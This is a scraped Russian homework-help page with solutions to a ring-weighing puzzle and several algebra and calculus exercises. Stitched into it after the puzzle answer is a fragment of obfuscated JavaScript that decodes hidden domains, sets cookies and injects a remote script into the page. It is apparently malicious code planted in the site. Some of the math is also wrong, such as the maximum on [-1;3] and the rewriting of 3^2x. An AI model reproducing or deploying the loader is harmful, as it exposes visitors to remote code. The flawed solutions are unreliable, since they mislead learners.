надо. имеется 15 внешне различимых колец, из них 14 одинаковой массы, одно бракованное легче остальных. за какое наименьшее число взвешиваний на чашечных весах без шорт можно найти бракованное кольцо. решение и условие .

1 ВЗВЕШИВАНИЕ. откладываем 5 колец в сторону, взвешиваем оставшиеся кольца , по 5 штук на чаше весов. Если весы показывают, что одна чаша легче, то бракованное кольцо будет среди этих колец. Следующим шагом будем взвешивать именно эти 5 колец. Если весы показывают равенство чаш с десятью кольцами, значит, среди этих десяти колец нет бракованного легкого кольца и оно осталось среди тех 5-ти колец, что мы уже отложили. Значит, дальше взвешивать будем именно пятерку из этих колец. 2ВЗВЕШИВАНИЕ. Перед нами 5 колец оставшихся, откладываем одно кольцо в сторону. Взвешиваем оставшиеся 4 кольца по 2 штуки на чашу. Если Весы покажут равный вес чаш, то бракованное кольцо мы отложили уже в сторону. Значит, эксперимент закончен. Если Одна из чаш легче, то именно в ней среди двух колец находится бракованное. Эти два кольца и будем взвешивать в следующий раз. 3ВЗВЕШИВАНИЕ. У нас осталось только два кольца, взвешиваем и находим то, которое меньше. ОТВЕТ: 3 взвешиванияwindow.r r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

1) у = -х² + 12х + 5
Найдите критические точки функции и определите, какие из них является точками максимума и минимума.
Находим производную и приравниваем её нулю:
y' = -2x + 12 = 0.
       x = 12/2 = 6.
То есть критическая точка только одна.
Это следует из того, что график заданной функции - парабола ветвями вниз (коэффициент перед х² отрицателен).
У такой параболы есть только максимум в её вершине Хо.
Хо = -в/2а = -12/2*(-1) = 6.
Можно провести исследование по знаку производной вблизи критической точки.
х =                          5.5        6           6.5
y' = -2x + 12             1          0           -1.
Если производная меняет знак с + на - то это максимум функции, минимума нет.

3) найдите наибольшее и наименьшее значение функции: y=x^4-8x^2-9 на промежутке [-1;3].
y' = 4x³ -16x = 0.
      4x(x²-4) = 0.
Имеем 3 корня: х = 0, х = 2 и х = -2.
х =                 -2.5   -2  -1.5   -0.5   0   0.5    1.5    2    2.5
y' = 4x³ -16x  -22.5   0  10.5    7.5   0  -7.5   -10.5  0    22.5.
х = -2 и 2  это минимум,   у = -25.
х = 0         это максимум, у = -9

1)f(x)=log5(x-6/x^2+3x)
ОДЗ: (x-6)/(x^2+3x) >0
Определим, при каких значениях Х выражения, стоящие в числителе и знаменателе, обращаются в нуль:
x-6=0; x=6
x^2+3x=0; x(x+3)=0; x=0 U x=-3
Нанесем эти числа на числовую ось:
-(-3)+(0)-(6)+

ответ: D(y)= (-3;0) U (6; + беск.)

2)V - знак корня
V(15x^2-x+12)=4x        ОДЗ: x>=0
Возведем обе части уравнения в квадрат:
15x^2-x+12=16x^2
15x^2-x+12-16x^2=0
-x^2-x+12=0
x^2+x-12=0
D=1^2-4*1*(-12)=49
x1=(-1-7)/2=-4 - посторонний корень
x2=(-1+7)/2=3
ответ: 3

3)2cos^2x-5cos x-7=0
Замена: cosx=t, -1<=t<=1
2t^2-5t-7=0
D=(-5)^2-4*2*(-7)=81
t1=(5-9)/4=-1
t2=(5+9)/4=3,5 - посторонний корень
Обратная замена:
cos x=-1
x=П + 2Пк, k e Z

4)3^2x-6*3^x-27>0
9*3^x-6*3^x-27>0
3^x(9-6)>27
3*3^x>27
3^x>9
3^x>3^2
x>2